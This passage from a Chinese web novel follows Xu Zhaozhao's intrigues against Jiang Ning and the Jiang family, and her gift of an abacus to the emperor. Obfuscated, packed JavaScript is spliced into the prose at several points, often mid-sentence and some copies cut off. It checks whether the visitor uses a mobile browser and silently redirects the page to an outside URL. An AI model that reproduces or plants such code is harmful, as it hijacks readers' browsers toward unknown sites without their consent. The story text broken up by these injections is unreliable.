所以就算是肃国公不发话,宋婉仪也不敢大意,还是命人给刘莹备了几箱子嫁妆,当然,嫁人了,哪能没点儿压箱底的钱? 宋婉仪虽然不乐意,但是这钱也不能给太少了,否则让忠王怎么看他们? 宋婉仪给刘莹准备了五十贯的现钱,另外又给她备了五百贯的飞钱。 除此之外,各类的金、银首饰,自然也都得多备几套。 刘莹对此则是没有任何意见,反正主母给什么她要什么。 肃国公在书房里走来走去,整个人都有点儿烦燥。 主要是这次的事情太丢人了,女儿丢了,他这个当爹的还是被人家捡到的人给上门知会的,现在想想都觉得老脸不保。 管家上前换了茶,小声道:“老爷,事情已经发生了,那咱们就往前看呗。刘莹小姐既然是忠王爷的媵侍了,那咱们也不能让王爷下脸呢。您看,到时候要不老奴亲自跟着将小姐送过去?” 肃国公点头:“你说的对,到时候你跟着一起送她进忠王府。” “老爷,不管怎么说,咱们小姐都是出自国公府的,这陪嫁上,咱们是不是也得挑拣一下?” “嗯,嫁妆的事都是夫人负责置办的。” 话说到这里,肃国公微顿一下,脸色也变得灰暗,夫人向来不待见那些庶子庶女,又怎么可能会愿意给刘莹多准备? “这样,你去取五十贯的现钱给刘莹送过去,另外,再给她加个庄子吧。” “是,老爷英明。” 等到第二天傍晚忠王府派人来接刘莹时,刘莹手上的嫁妆就已经不算少了,至少,跟王府的那些媵侍比起来,她的嫁妆算是可以说得过去的,毕竟她出身肃国公府,银钱多不多地不会让忠王太放在心上。 实际上,忠王纳的媵妾里面,有好几个都是富商家的闺女,而且还是嫡女。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505003|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 啧,所以,这身份上,刘莹其实还是占一定优势的。 刘莹前脚进了忠王府,许昭昭这边后脚就收到消息了。 “告诉刘莹,王妃给她安排的人里面哪个是我们的,目的就是为了扶她上位。只要她听话,以后她在王府的日子不会难过。” “是,主子。” 给忠王送美人这种事,许昭昭一直都是不愿意做的。 可谁让姜宁太贱了呢? 总过来撩拨她! 现在给忠王送一位美人儿过去,无论是长相,还是性子,正好都符合忠王的喜好,再有她的人帮衬一二,刘莹早晚会被抬为孺人。 就算是刘莹的身份不抬,也能给姜宁添填。 现在姜家什么情况,姜宁是一点儿数没有呀,还想着找别人的麻烦,简直就是愚不可及! 至于外面的流言,许昭昭压根儿就不在意,传去吧,她成亲才半年,谁怕谁呀? 而且这种时候,最急的,应该是其它几位新妇才是。 许昭昭成亲才半年,但是实际上,京城成亲一年以上没有子嗣的,可是有好几位新妇,而且个个出身不低。 所以,她不仅不去管束这些流言,甚至还故意帮着往外推,炒得越热闹才越好呢。 流言愈演愈烈,自然会有人出手调查这背后之人。 果然,没出三天,就有不少人去姜家登门拜访,还有几位长辈,甚至是去了忠王府。 赵月也是被气笑了。 她是真没想到呀,姜宁别的不行,这惹麻烦的本事是一次比一次厉害。 你说说你没事儿招惹这些夫人们做什么? 嫌自己日子过得太舒坦了吗? 赵月送走客人,之后就把姜宁叫过来问话。 “王妃容禀,此事另有隐情,妾并非是在故意针对她们。” “我知道你针对的不是她们,你是想要针对许昭昭吧?可是你想过没有,许昭昭成婚才半年,人家急什么?而且你这手段也太过拙劣,人家三两下就查到你头上了,你还觉得委屈?” 第378章 活成了自己最瞧不起的样子 心思直接就被戳穿,姜宁也不敢说话了。 “既然你也知错了,便去外面跪着吧,跪足两个时辰,另外,再罚你三个月的月钱,禁足一月。你可服气?” 姜宁一口血涌到喉咙处,险些就给喷出来。 姜宁倒是想说不服,想要闹,但问题是,她只是一个小妾,哪里来的胆子与王妃作对? 赵月冷漠的眼神,让姜宁不由得就打了个激灵。 直到赵月离开,一位管事嬷嬷才站到了姜宁跟前:“姜孺人,请吧。” 姜宁此时脑子里闪过了无数种的逃避惩罚的法子,包括但不限于装病、晕倒等等。 但是她没有这个机会。 “姜孺人,只不过是两个时辰,很快就过去了。还请您尽快,莫要让奴婢等为难。” “嬷嬷,王妃刚刚也没说现在就罚跪呀!” “姜孺人,现在跪,还只是两个时辰,若是再晚了,那就不一定了。” 这已经是威胁了。 姜宁无奈,只能咬着牙去外面跪着了。 她不敢不跪呀! 事实上,这次赵月罚她是一点心理负担也没有,听闻姜家也被不少人找上门了,所以,她这次就是光明正大地罚她,相信姜家也不敢说她苛待姜宁。 一切都如赵月所料。 姜家收到了姜宁派人传回来的消息,也只都只是淡漠地表示知道了,丝毫没有为姜宁出头的意思。 姜延平摇头,这个女儿,是越来越蠢了。 现在事情闹得这么大,忠王妃只是罚跪和罚月俸,已经是给姜家颜面了。 若是换了其它人犯下这种大错,怕是不打个半死都不足以泄愤。 姜太傅也知道了这件事,晚饭后将几个儿子儿媳都叫到跟前。 “不像话呀!这等卑劣的伎俩,到底是什么人教姜宁的?” 没人敢吱声,就连邓氏也只是缩着脖子,头也不敢抬。 “若是真有本事,能做得天衣无缝也就罢了,偏偏不仅没能让许昭昭有半分损失,还连累得我姜家又树敌无数,她这是想要干什么?嫌弃忠王府的日子太好过了吗?” 姜延辉转转眼珠:“父亲,事情已经发生了,咱们还是先想想如何让那几家消气吧。宁儿的做法虽然是欠妥,但她的本意也并非是为了给姜家招祸。不过,还是让人去一趟忠王府,最起码得弄清楚,宁儿为什么要针对许昭昭才行。” 这话说到点子上了。 有什么仇什么怨呢? 一旁的宋氏也在心里细细地过着往日一桩桩一件件,可是她始终找不到姜宁针对许昭昭的理由。 就拿最开始的那次恶犬伤人事件,也是错在姜宁,而许昭昭等人都应该算是受害者。 宋氏再仔细回忆,反倒是觉得那次的恶犬事件,是姜宁在故意针对许昭昭,想要害得许昭昭毁容甚至是丧命! 但为什么呢? 姜宁做这一切的目的是什么? 毕竟在他们的印象里,许昭昭从来没有主动招惹过姜宁,一直都是姜宁或者是曾经的姜文鹤在主动惹事,然后才会被其反击。 这次亦然。 流言之事,他们认定了是许昭昭安排人在背后又助推一把,要不然,怎么可能会传得沸沸扬扬? 但是他们有证据吗? 没有。 所以,这个哑巴亏,他们只能咬牙认下,不仅要对着那几家赔礼道歉,还得好好地管教姜宁才行。 想想好像最委屈的就是姜家,一直都是被姜宁拖累了。 邓氏现在出不了门,所以次日,便由宋氏带着姜愿登门探望了。 姜愿对姜宁是心生怨气的。 如果不是因为她们姐妹俩办的事,自己的婚事又怎会受阻? 先前姜宁还不止一次地嘲笑谢家的两个庶女,可是她却丝毫没有想过,她还有堂妹们呢,哪一个不是受了她和姜芙的连累? 昨天姜宁的的确确是被罚跪了两个时辰,起初就是跪在青石板上的,后来还是王妃派人给送了一个芦苇纺织的蒲团过来,这才算是让姜宁好受一些。 但再怎么好受,也是跪着。 对于姜宁这样曾经高高在上的贵女而已,这就是肉体和精神上的双重折磨! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“姜宁,你该知道如今你在忠王府的处境,全都取决于咱们姜家是否稳固。若是姜家被连累,你以为王爷和王妃还会对你一如往常?” 第379章 我恨不得一刀杀了你! 姜宁不愿意承认,但宋氏可不是她亲娘,如何会惯着她? 一番连削带打之后,姜宁也不得不认输。 而宋氏听到她给出的答案时,只觉得这个侄女脑子是有什么大病吧? 只是单纯地看不惯许昭昭,所以就想着拆散许昭昭和谢铮的婚事,想要自己扶持那个叫孙什么的上位。 结果弄巧成拙,反倒是毁了那个孙家的姑娘。 这都是几年前的事了。 所以,从始至终,许昭昭未曾招惹过她,更不曾对姜家有什么怨气! 这个理由,让宋氏险些坐都坐不稳了。 起初姜宁当然是不愿意说实话的,只说是自己和许昭昭之间有些私仇,但是宋氏再三询问,她又说不出个一二三来,甚至还想着以自己记不清楚了为由搪塞过去。 但今日宋氏上门,就是为了把这件事情弄清楚,岂是那么好糊弄的? 宋氏甚至将姜宁的几个陪嫁丫环叫进来,严词厉问,最终才查出一些蛛丝马迹。 而姜宁眼见着瞒不住了,这才和盘托出。 宋氏对这个侄女,当真是有几分另眼相看了。 以前真是太高估她了。 这就是妥妥的没脑子呀! “姜宁,以往的事情如何,我也不追究,此事我会禀明父亲,请他老人家明了才好。至于以后,若是无事,你便安于内宅,好生照顾好小小姐,兴许这孩子周岁之时,还能获封一个县主的爵位。” 忠王是亲王爵,他的孩子们自然是有资格获封相应爵位的。 但是对于庶子庶女而言,能得个什么爵位是真不好说。 所以,宋氏才只说了县主。 像齐王府的清平郡主,她本是庶出,若非是因为陛下要用其和亲,又怎么可能会一早封其为郡主? 不过是为了拔高她的利用价值罢了。 忠王是陛下的亲儿子,但忠王是庶子,眼下姜宁生的又是庶女,所以,陛下能不能想起来有这么一个小孙女都不好说,更何况是封赏了。 除非是忠王主动请封,否则,陛下那么多的子孙们,哪里能想得起来? 宋氏这是在提醒姜宁,你的重心应该放在忠王和女儿身上,至于外面的那些人和事,都与你无关了。 若你是正妻,如王妃那般,自然是可以出门应酬,还可光明正大地打理王府产业。 可你现在只是一个小妾,太多的场合,都已经彻底与你绝缘了。 所以,安心过日子吧。 别再给许昭昭找麻烦了。 这几年下来,细数你给许家找麻烦的次数和结果,哪一回不是姜家倒霉? 宋氏借口去看看小娃娃,所以让姜愿留下和姜宁说说话,其实也是想让姜愿劝劝她,不该有的心思,还是都收了吧。 姜宁此时还有些魂不守舍。 刚刚二婶对她的敲打,她自然明白是何意。 可是,真地就此让她放弃外面的那些繁华锦绣,只是一心一意在家带孩子? 明明不该是这样的呀! 上辈子,她好歹还是安王妃,而且曾无数次的被那些贵女们讨好吹捧。 怎么重生一回,反倒是不如上辈子了呢? 她只是想着把安王拉下马,想要扶持忠王上位的,她还是想要做皇后的。 可是怎么偏偏事与愿违? 她连个正妻都混不上了,还能指望着皇后之尊吗? 姜愿看到她这样子就来气。 如果不是这个堂姐莫名其妙地搞事,姜家也不会成为京城的笑话。 “你既然嫁给忠王了,就该收收心,相夫教子才是正理。你在这里衣食无忧,又无需出门应酬,你可知道外面人都是怎么议论我姜家女眷的? 他们说我们姜氏女不守妇道、个个都是自荐枕席的料子,这等污言秽语,甚至还有人敢直接在我面前说,你可知道我被羞辱得多想一**之?” 姜愿越说越气,曾几何时,她是真想干脆一根白绫解决了自己完事。 可现在看到姜宁在这里吃的好住的好,这个罪魁祸首都能过得这般惬意,自己是受害者,又凭什么要为她们的错误而赔上性命? “姜宁,你都不知道我有多少次恨不得一刀杀了你!如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋氏带着姜愿回去后,就把姜宁说的这些都禀报给姜太傅。 她说完,一屋子人都傻眼了。 谁能想到会是这样一个结果? 姜家如何安排后面的一些家族发展,许昭昭不会太在意,毕竟姜家年轻一辈中有本事的名单,都在她手里了。 至于姜延平这一辈的,呵呵,真正有本事的还真不多,不过,该防的,还是要防的。 姜宁要对付许昭昭,所以注意力就都放在许昭昭身上,意图把许昭昭的名声坏了、形象给毁了,总之,就是针对许昭昭。 不是她不敢打别的主意。 之前打过一次,比如说那回的许君锋成婚前的事。 可是只一回,就让她的舅舅家丢了那么大的人,之后又害得整个邓家毁了。 所以,自那一回之后,她再也不敢打许家其它人的主意了。 姜宁不认为这一切都是许昭昭在幕后操纵的,她只是单纯地以为,许昭昭只是个女子,她针对女子,那可以说是她们女人间的一些争执玩闹。 但是姜宁针对了许君锋一次,那就是等于对许家的前途正好的小辈动手,那不行,许家不能忍。 所以,直到现在,姜宁也不知道,邓家出事,其实都是许昭昭一手操作的。 这都不是一个层面的对手呀! 不对,事实是在许昭昭眼里,姜宁都不算个对手。 双方看似打得有来有回,但实际上一直都是许昭昭在单方面的虐打姜家。 姜宁对付的是许昭昭。 而许昭昭对付的是整个姜家! 啧啧,从一开始,两人的认知都不在一个层面上,所以,姜宁怎么可能会赢? 许昭昭把麦冬叫来,嘱咐几句之后,麦冬的脸色都变了。 走之前,还竖个大拇指。 “主子,您是这个!” 许昭昭轻笑一声,示意他赶紧去办。 宫中的姜贵妃,许昭昭够不着,所以暂时打不了。 但是给人送点儿膈应,应该不难。 比如说,许昭昭安排人给宫中的几位妃嫔提供一些助力。 一个月下来,姜贵妃这里接驾的次数就大幅减少。 永安帝是男人,他再宠爱姜贵妃,也仍然是一个男人。 男人嘛,本质上就是花心的。 许昭昭这一点看得很明白。 她从来不相信一个男人真地愿意只守着一个女人过。 年轻的时候,他愿意,那是因为女人的颜色好,两人情深意正浓,所以才能和谐地过几年。 但是等到女人年老色衰,男人好色的本质就会显露出来。 许昭昭是见过姜贵妃的,所以依照她那样的五官和气质去寻美人,然后再送进宫,并非难事。 毕竟朝廷里是有花鸟使一职的。 这个计划,许昭昭可不是现在才想起来的。 姜贵妃地位稳固,连皇后都对她避让三分,普通的美女,自然不可能与其相抗衡。 但是几位妃嫔联合起来,偶尔给姜贵妃使个绊子或者是添些堵,还是能做到的。 只要姜贵妃乱了心神,许昭昭就有办法让姜贵妃失宠。 永安帝近来宠幸的一位美人,现在已经晋升为昭仪了。 要知道宫中有宫中晋升的渠道和相应规则。 一个入宫不到两年的普通采女,已经晋到了昭仪的位子,这绝对是有着帝王偏爱的。 昭仪已经是九嫔之首,正二品,再往上,可就是四妃了。 所以,一个小官家的女子,能有这样的大造化,绝对是深得帝宠。 徐昭仪将头上的首饰摘下来,又换了一支更为亮眼奢华的戴上,左右看看铜镜,这才满意几分。 “禀徐昭仪,姜贵妃说是三日后在宫中办一个小型的赏花宴,还邀请了皇后,九嫔中的所有人也都邀请到了。” 徐昭仪勾唇,一脸高高在上的态度。 “贵妃再怎么尊贵,也只是妃。她竟然还想着邀请皇后去她的宫中赏花,怎么想的?皇后若是真去了,她定然还要带着所有人接驾,到时候,还有心思赏花?” 立来嫡庶有别,尊卑有序。 整个皇宫,除了前殿之外,没有皇后不能去的地儿。 但是一般情况下而言,除非是发生大事,否则皇后一般不会轻易涉足下面妃嫔们的住处的。 正所谓贵足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这是牲口呀! 宫里宫外都挺热闹。 自打姜宁被罚之后,就真地老实许多。 许昭昭终于不必再需要腾出心思来对付她,只觉得这日子过得舒坦不少。 谢娟病了几日,吃了几天药,在谢婵和贾姨娘的劝慰下,也渐渐地好起来了。 倒是宋姨娘,因为上次的事,被谢啸林给罚了。 宋姨娘虽然身份卑微,但她毕竟是国公爷的女人,所以他来罚,自然是最合适的。 宋姨娘被罚禁足一月,同时还被罚了两个月的月钱,同时还遭到了一通喝斥,并且警告她以后少给谢娟出主意。 这一次,宋姨娘差点就害了谢娟,希望她能受到教训吧。 谢娟身体好了,也实在是没脸再去许昭昭跟前晃悠,所以就每天都去老夫人那里请安伺候。 谢婵劝了两回,谢娟抹不开脸,不愿意去,谢婵也没办法了,只能是自己去锦绣园里继续学管账。 许昭昭一连几天都没有去看谢婵那边的学习进度,再加上她实在是有些忙,底下人也不会拿这种小事来烦她,所以压根儿不知道谢娟没来。 好不容易这天把事情都安排好了,许昭昭正打算去看看那边两位姑娘学的什么样了,结果谢铮回来了。 结果就是,一刻钟后,谢铮直接带着许昭昭出城玩儿去了。 谢铮从陛下那里得了两天假期,所以谢铮干脆就早回来一个时辰,然后带着许昭昭去百果园了。 这么算下来,两人能在百果园住两晚。 虽然锦绣园也不小,但毕竟是国公府里面的院子,还是不一样的。 百果园这里就要更自然,也更自在些。 在这里没有长辈,没有许昭昭需要去维护的关系,所以小夫妻俩来这里,那叫一个惬意。 天没黑,谢铮抱着许昭昭就进屋里了,一直到一个时辰后,谢铮才命人备水,之后又亲自端了饭菜进屋。 但是用过晚膳之后,许昭昭又嫌弃屋里有饭菜的味道,所以谢争直接抱着她又换到西边的屋子里了。 但是谢铮也没等许昭昭赏一会儿月呢,又被他给强行推倒了。 这一晚上折腾的,可把许昭昭给吓坏了。 男人这么生猛吗? 感觉以前也没有这么强烈的需求呀? 今晚这是怎么了,许昭昭昏睡过去之前,都还在想这个问题。 第二天,毫无意外的,许昭昭起晚了。 眼瞅着都该用午膳了。 许昭昭一看到端饭进来的是谢铮,这脸色都变了。 “出去!” 谢铮挑眉,将饭菜摆好之后,才朝着床榻过去。 “出去!”许昭昭嗓子都哑了。 谢铮唇角含笑,直接就把人给抱起来了:“乖,我错了,先用膳,吃完后我带你去外面赏花,今天天气不错,好好欣赏一下这里的景色,对了,我还命人备了茶点,一会儿我亲自烹茶给你喝。” 许昭昭听闻下午可以去外面走走,这才没有再骂他。 这哪是男人呀,简直就是个牲口! 许昭昭也是真饿了,早上就没吃。 放下筷子后,谢铮十分狗腿地递过来一杯漱口茶。 一切都妥当之后,谢铮小心翼翼地凑过来:“我抱你过去吧。” “不用!” 许昭昭硬气地说完,蹭一下子起身,刚一迈步,就觉得腿软无力,这一往下倒的同时,谢铮的大手就搂过来了,然后没等许昭昭反应过来呢,直接又被他给打横抱起了。 “都怪你!” 谢铮眼底含笑,妻子这嗔怪的小表情也这么可爱! 果然,小媳妇哪儿哪儿都这么好。 下午,谢铮的确就是带着她到外面喝喝茶,赏赏花,顺带着还逗了逗养在这里的数只仙鹤。 “你说,咱们在锦绣园里养两只仙鹤怎么样?” “不怎么样!”许昭昭直接怼他一句:“锦绣园已经够显眼的了,再弄两只仙鹤过去,你让别人怎么看咱们?不合适。” 仙鹤这东西,一直都是被视为吉祥物的。 无论是哪家有了这等好东西,第一时间肯定是要先送给长辈才对。 但百果园里养的这几只仙鹤不同,它们都是被这里的花草给吸引过来的。 这里的植物气息更为浓郁,对于动物来说,更得它们的欢心。 这也是当初百果园刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许昭昭是真没想到,就因为自己随口一说,还把谢铮给激着了。 “你就这么想要孩子?” 谢铮犹豫一下,还是实话实说。 “其实我也不是特别想要孩子,现在这样就挺好的。我忙,你比我还忙,真要是有了孩子,只怕你的注意力就都得放到孩子身上了,哪里还有心思来管我?” 这是实话。 谢铮才体会到有媳妇儿的好,等有了孩子,媳妇一定不会总想着自己了,他觉得这媳妇娶进来就有些亏了。 不得不说,这脑子的确是异于常人。 两人腻歪了一会儿,芍药就不得不过来禀报,许川来了,这次还带着几箱子的现钱,可见是刚谈成了什么大生意。 “你这是?”许昭昭看到这么多的现钱,也是有些意外。 “哦,这些是我特意从钱库里取出来的,这些要给百果园发月钱,我是按账目上的总数取的。” 许昭昭这才明白,原来是要发月钱了。 徐得贵过来解释:“按说是要再晚两日才发,但是正好您过来了,干脆就今儿发了得了,主子以为呢?” 这事儿徐得贵办得漂亮。 以前有些木讷的徐得贵,现在也懂得人情世故了。 许昭昭看着许川教那两个年轻的族侄如何算账,又教他们如何记账,还嘱咐一定要让他们本人过来签字或者是摁手印儿,这所有的手续都办得十分严谨。 很不错。 不过,许昭昭倒是想起自己先前命人做的那件工具来。 正好许君锋带着郑拓找过来了,好像是有什么事和谢铮商量,许昭昭直接就放人了。 “芍药,去问问我先前要的东西做好了没有。” “是,主子。” 许昭昭命人都退到外面,水榭内四处都敞着门窗,但是里面只有她和许川二人在。 “昭昭,这是何物?” 一时情急,许川竟然也顾不得其它,直接就喊名讳了。 “此物名为珠算,与兄长先前所用的筹算如何?” 许昭昭已经演示了几次,而且又快速地做了几次加减,这让许川一瞬间就爱上这好东西了。 “妙!甚妙!” 许昭昭命人做出来的是一个新的算盘, 矩形木框内排列一串串等数目的算珠称为档,中有一道横梁把珠分隔为上下两部分,上半部每算珠代表五,下半部每算珠代表一。 每串珠从右至左代表了十进位的个、十、百、千、万位数。 最好加上其主人的一套手指拨珠规则的运算口诀,就可解决各种复杂运算,甚至可以开多次方。 当然,许昭昭不会开方,只会做简单的加减。 许昭昭也是费了好大劲,才想起来以前在网上看到的口决,所以自己熟练加减几次之后,才把许川叫过来的。 “其形为长方形,周为木框,内贯直柱,称为‘档’。 一般从九档至十五档,档中横以梁,梁上两珠,每珠作数五,梁下五珠,每珠作数一,运算时定位后拨珠计算,可以做加减乘除等算法。刚刚我口中所念,便是其加法口诀。” 许川眼中火热,之后好不容易才冷静下来,再正正衣冠,然后朝许昭昭深深一揖。 “还请县主不吝赐教!” 许昭昭轻笑,她将此物做出来,就是为了给人用的。 而且,许川不是一个太闪耀的人,这东西做出来,交给他再去慢慢琢磨,最好是能由他再多开发出几张使用功能来,那才叫好。 将珠算做出来这种事,许昭昭没打算再把功劳让出去。 比起那些文治武功来,这只是一把小小的算盘,不值一提。 所以,她完全可以自己来领下这份功劳,而且这个时候,有了此物,正好给陛下一个可以光明正大嘉奖她的机会,何乐而不为? 估计陛下此时也正在挖空心思地想着如何来犒劳她的。 毕竟,朝中已经颁旨,玉石珠宝鉴定,已经正式列入我大兴律法之中,而且目前除了蓝田县之外,大兴还有另外三处地方被批准建立鉴定衙门,但是以蓝田县的鉴定衙门为总衙。 许昭昭明白,陛下这是由此看到了更多的好处。 许昭昭明着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526365|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往蓝田县的鉴定衙门里塞了两个人,但是暗地里,却是塞进去六七个。 当然,她暗中塞进去的,有杂役,也有护卫,她眼里盯着的,可不仅仅只是表面上的那些利益。 至于明面儿上塞进去的两个人,一个姓谢,一个姓许。 许昭昭安排得正大光明,这反倒是让永安帝对她更为满意了。 许昭昭此举是在告诉陛下,她想要好处,就光明正大地跟您要,绝对不来阴的。 永安帝一满意,自然就想要赏人了。 但是怎么赏? 许昭昭已经是正二品的县主了,不能再往上赏了,至少现在不行。 所以,永安帝在考虑着要不要增加她的食邑。 顾东阳取了蓝田县送上来的相关文书后,过来向陛下复命。 “安乐县主如今食邑千户,目前来看,除了您给她的封赏之地外,她又自己私下购入一大片的荒地,除了这些建了屋舍庄子的地方之外,仍显空闲。” 永安帝点点头:“空不了太久的。朕听说现在已经有不少商人都在往蓝田县的那个云栖小镇赶了。安乐县主将自己建造好的一处宅院赠予朝廷为公廨,此外,还有一条可容纳三十户的长亭的税收也都交由地方上的市署。 这个许昭昭,是个懂事的。别人都以为她只爱财,可是在朕看来,这丫头偏偏是个不爱财的。银钱在她手上,根本就算不得什么。她只是一心图享乐,哪怕舍了银钱出去,能让她自己过得舒心,舍多少她都乐意。” 顾东阳笑笑,对这位安乐县主,他也是抱有几分的钦佩之意。 一百万贯的钱呀,说贷就贷! 虽说是为了给大兴的商民们做个表率,但是这一百万贯,也实在是太大手笔了。 “她是个好孩子,朕也不能欺负她不是!顾尚书以为,朕当如何赏她?” 顾东阳虽然不知道玉石鉴定的事情是许昭昭出的主意,但是他知道许昭昭明白了陛下将蓝田县的那处封地赐给她的用意,而且如今自己投钱投人的,这明显就是为了让陛下满意。 “这,微臣愚钝,实不知。” 第383章 出乎意料的赏赐 当天晚上,顾东阳回府后,就被禀报说是安乐县主派过来的一位许管事过来求见。 顾东阳还以为是那个专门负责在外面替许昭昭跑腿的许柱子呢。 结果一见到人,瞧着还有几分文气,再一听人家说话,才知道这位是安乐县主的族兄。 顾东阳连忙请人入坐,又命人上茶。 “不知许先生光临寒舍,有何指教啊?” “不敢不敢!” 许川连忙拱手道:“小人也是奉县主之命过来送件东西。” 许川带过来的,就是那个算盘。 半个时辰之后,顾东阳亲自送许川出来,笑得那眼睛都只剩一条缝了。 许昭昭在百果园待了三天才回到国公府,谢铮把人送到锦绣园,就急急忙忙去军营了。 许昭昭刚坐定,谢娟就在谢婵的陪同下过来了。 谢娟的脸色还不错,就是人瞧着比前阵子瘦了些。 “嫂嫂,我今日是过来向您赔不是的。之前是我不懂事,不知道您的好意,反而误会了嫂嫂,还请嫂嫂宽宥。” 许昭昭笑笑:“不是什么大事,你自己想明白是怎么回事就好了。刘勃如今已经远离京城,而当初你和刘勃也并未正式地议亲,所以这件事也不算什么,日后小心一些,尤其是在外面遇到了刘家人,言行更需谨慎。” “是,嫂嫂。” 谢娟总算是松了一口气。 这些日子一直提心吊胆的,就怕嫂嫂再因为这件事生她的气,以后再也不管她了。 谢娟也总算是想明白了,自己只是庶女,她的婚事怎么可能让姨娘来做主? 姨娘再亲,也只是父亲的一个妾,如果真让她来做主自己的婚事,凭她的那些见识和人脉,又能找到什么样的好人家? 最关键的是,她是庶女,如果她的婚事让生母来做主,那她以后在整个圈子里就算是彻底抬不起头来了。 只有不招嫡母待见,或者是不受父亲重视的庶女,才会由生母来做主婚姻大事。 谢娟不能真地走这样一条路,所以才终于反应过来,不能再继续消沉下去,而是应该主动认错,争取一切都回归正轨,至少,她的婚事还是要请嫂嫂帮忙才是。 这几天,谢娟虽然没来锦绣园,但是她去了谢婵院子里好几次。 中间就遇到了两回嫂嫂特意命人送去的东西。 阖府上下都知道许昭昭现在就负责给谢婵备嫁妆的事。 谢娟也借着机会瞅了几眼,许昭昭让人送去的都是好东西呀。 小到茶具餐碗,大到花瓶摆件儿,可以说是样样皆精品。 关键是这些东西送过来之后,就都被锁进了一个新腾出来的库房,据说是这个里面放的全都是给谢婵准备的嫁妆。 谢娟好奇伸脖子看了一眼,乖乖,已经有半间屋子了,那箱子叠箱子的,怎么着也得有几十个了! 谢娟不傻,按说贾氏只是一个丫环出身抬上来的通房,后来生了孩子才被抬为妾室的,所以贾氏根本就不可能给谢娟准备什么嫁妆。 而小宋氏虽说是出身宋家,但是这么多年,当初宋姨娘带过来的那些嫁妆也都花用得七七八八,再者,就算是宋姨娘当年的陪嫁还在,也压根儿就没有办法跟现在的谢婵这里的东西比。 谢娟还看到了一套镶银的茶器,不仅漂亮,更是看着就奢侈,一看便是贵女所用。 许昭昭是真地愿意拿出好东西来的。 除此之外,谢娟还意识到一个十分严重的问题。 现在大房的所有家用,都是许昭昭在管着,无论是下人们那里的月钱,还是各院的吃用,都是要许昭昭点头才行。 也就是说,许昭昭才是她要讨好的对象,她后半辈子的幸福以及婚事,都在许昭昭手里捏着呢,她还有什么不甘心的? 这才有了今日这一出。 许昭昭也没有太多的说教,简单嘱咐几句之后,就让她们姐妹去跟着徐嬷嬷等人学习。 二人还不曾起身,外面的林嬷嬷就一路小跑着过来了。 “禀世子夫人,宫中有旨意下来,老夫人和二夫人四夫人那里都被通知过去迎接了。老爷和二老爷现在前厅陪着那位天使用茶。” “好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526366|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我换身衣裳就过去。” 许昭昭现在穿的太简单了些,完全没有贵妇的气派,要面见天使,还是要换身正式些的衣服的。 许昭昭换好后,便由芍药和海棠陪同去前厅,至于谢婵和谢娟二人,也都小心地在后面跟着,她们不敢在外面露头,只想着躲在角落里看个热闹。 “原来是大总管光临,是我来晚了。” 大总管和许昭昭也不是头回见了,两人寒喧几句,少不得要奉承许昭昭一番。 “县主可是有些日子没进宫了。陛下三不五时地就要提到您,一口一个丫头的,可是真把您当孩子宠呢。” 大总管说话有分寸,只说是把安乐县主当孩子宠,可没说是当成自己孩子宠。 这两者的差别可太大了。 关键是,不能让人误会。 “县主,这是陛下特意命老奴送过来的赏,另外,陛下感念你的功劳,所以特意命工部打造了一柄金算盘,您瞧!” 